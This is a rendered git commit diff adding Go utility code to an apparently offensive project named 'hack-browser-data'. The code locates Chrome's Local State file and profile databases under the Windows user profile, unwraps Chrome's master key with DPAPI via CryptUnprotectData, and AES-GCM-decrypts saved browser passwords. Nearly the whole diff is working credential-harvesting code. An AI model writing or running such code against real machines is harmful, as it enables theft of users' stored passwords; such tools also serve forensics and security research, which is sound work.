parent
							
								
									2ca397d714
								
							
						
					
					
						commit
						cc6ce9baa7
					
				| @ -0,0 +1 @@ | ||||
| package utils | ||||
| @ -1,26 +1,118 @@ | ||||
| package utils | ||||
| 
 | ||||
| import ( | ||||
| 	"crypto/aes" | ||||
| 	"crypto/cipher" | ||||
| 	"encoding/base64" | ||||
| 	"hack-browser-data/log" | ||||
| 	"os" | ||||
| 	"path/filepath" | ||||
| 	"syscall" | ||||
| 	"unsafe" | ||||
| 
 | ||||
| 	"github.com/tidwall/gjson" | ||||
| ) | ||||
| 
 | ||||
| const ( | ||||
| 	winChromeDir = "/Users/*/Library/Application Support/Google/Chrome/*/" | ||||
| 	winChromeKeyDir = "/AppData/Local/Google/Chrome/User Data/Local State" | ||||
| 	winChromeDir    = "/AppData/Local/Google/Chrome/User Data/*/" | ||||
| ) | ||||
| 
 | ||||
| func GetDBPath(dbName string) string { | ||||
| 	s, err := filepath.Glob(winChromeDir + dbName) | ||||
| 	if err != nil && len(s) == 0 { | ||||
| 		panic(err) | ||||
| var ( | ||||
| 	chromeKey []byte | ||||
| ) | ||||
| 
 | ||||
| func InitChromeKey() error { | ||||
| 	chromeKeyPath := os.Getenv("USERPROFILE") + winChromeKeyDir | ||||
| 	keyFile, err := ReadFile(chromeKeyPath) | ||||
| 	if err != nil { | ||||
| 		log.Error(err) | ||||
| 		return err | ||||
| 	} | ||||
| 	s := gjson.Get(keyFile, "os_crypt.encrypted_key").String() | ||||
| 	masterKey, err := base64.StdEncoding.DecodeString(s) | ||||
| 	if err != nil { | ||||
| 		return err | ||||
| 	} | ||||
| 	chromeKey, err = decryptStringWithDPAPI(masterKey[5:]) | ||||
| 	return err | ||||
| } | ||||
| 
 | ||||
| func GetDBPath(dbName ...string) (dbFile []string) { | ||||
| 	var dbPath []string | ||||
| 	chromeDBPath := os.Getenv("USERPROFILE") + winChromeDir | ||||
| 	for _, v := range dbName { | ||||
| 		dbPath = append(dbPath, chromeDBPath+v) | ||||
| 	} | ||||
| 	for _, v := range dbPath { | ||||
| 		s, err := filepath.Glob(v) | ||||
| 		if err != nil && len(s) == 0 { | ||||
| 			continue | ||||
| 		} | ||||
| 		if len(s) > 0 { | ||||
| 			log.Debugf("Find %s File Success", v) | ||||
| 			log.Debugf("%s file location is %s", v, s[0]) | ||||
| 			dbFile = append(dbFile, s[0]) | ||||
| 		} | ||||
| 	} | ||||
| 	return dbFile | ||||
| } | ||||
| 
 | ||||
| func DecryptChromePass(encryptPass []byte) (string, error) { | ||||
| 	if len(encryptPass) > 15 { | ||||
| 		// remove prefix 'v10'
 | ||||
| 		return aesGCMDecrypt(encryptPass[15:], chromeKey, encryptPass[3:15]) | ||||
| 	} else { | ||||
| 		return "", passwordIsEmpty | ||||
| 	} | ||||
| 	return s[0] | ||||
| } | ||||
| 
 | ||||
| func AesGCMDecrypt(crypted, key, nounce []byte) ([]byte, error) { | ||||
| // chromium > 80 https://source.chromium.org/chromium/chromium/src/+/master:components/os_crypt/os_crypt_win.cc
 | ||||
| func aesGCMDecrypt(crypted, key, nounce []byte) (string, error) { | ||||
| 	block, err := aes.NewCipher(key) | ||||
| 	if err != nil { | ||||
| 		return nil, err | ||||
| 		return "", err | ||||
| 	} | ||||
| 	blockMode, _ := cipher.NewGCM(block) | ||||
| 	origData, err := blockMode.Open(nil, nounce, crypted, nil) | ||||
| 	if err != nil{ | ||||
| 	if err != nil { | ||||
| 		return "", err | ||||
| 	} | ||||
| 	return string(origData), nil | ||||
| } | ||||
| 
 | ||||
| type DataBlob struct { | ||||
| 	cbData uint32 | ||||
| 	pbData *byte | ||||
| } | ||||
| 
 | ||||
| func NewBlob(d []byte) *DataBlob { | ||||
| 	if len(d) == 0 { | ||||
| 		return &DataBlob{} | ||||
| 	} | ||||
| 	return &DataBlob{ | ||||
| 		pbData: &d[0], | ||||
| 		cbData: uint32(len(d)), | ||||
| 	} | ||||
| } | ||||
| 
 | ||||
| func (b *DataBlob) ToByteArray() []byte { | ||||
| 	d := make([]byte, b.cbData) | ||||
| 	copy(d, (*[1 << 30]byte)(unsafe.Pointer(b.pbData))[:]) | ||||
| 	return d | ||||
| } | ||||
| 
 | ||||
| // chrome < 80 https://chromium.googlesource.com/chromium/src/+/76f496a7235c3432983421402951d73905c8be96/components/os_crypt/os_crypt_win.cc#82
 | ||||
| func decryptStringWithDPAPI(data []byte) ([]byte, error) { | ||||
| 	dllCrypt := syscall.NewLazyDLL("Crypt32.dll") | ||||
| 	dllKernel := syscall.NewLazyDLL("Kernel32.dll") | ||||
| 	procDecryptData := dllCrypt.NewProc("CryptUnprotectData") | ||||
| 	procLocalFree := dllKernel.NewProc("LocalFree") | ||||
| 	var outBlob DataBlob | ||||
| 	r, _, err := procDecryptData.Call(uintptr(unsafe.Pointer(NewBlob(data))), 0, 0, 0, 0, 0, uintptr(unsafe.Pointer(&outBlob))) | ||||
| 	if r == 0 { | ||||
| 		return nil, err | ||||
| 	} | ||||
| 	return origData, nil | ||||
| 	defer procLocalFree.Call(uintptr(unsafe.Pointer(outBlob.pbData))) | ||||
| 	return outBlob.ToByteArray(), nil | ||||
| } | ||||
|  | ||||
					Loading…
					
					
				
		Reference in new issue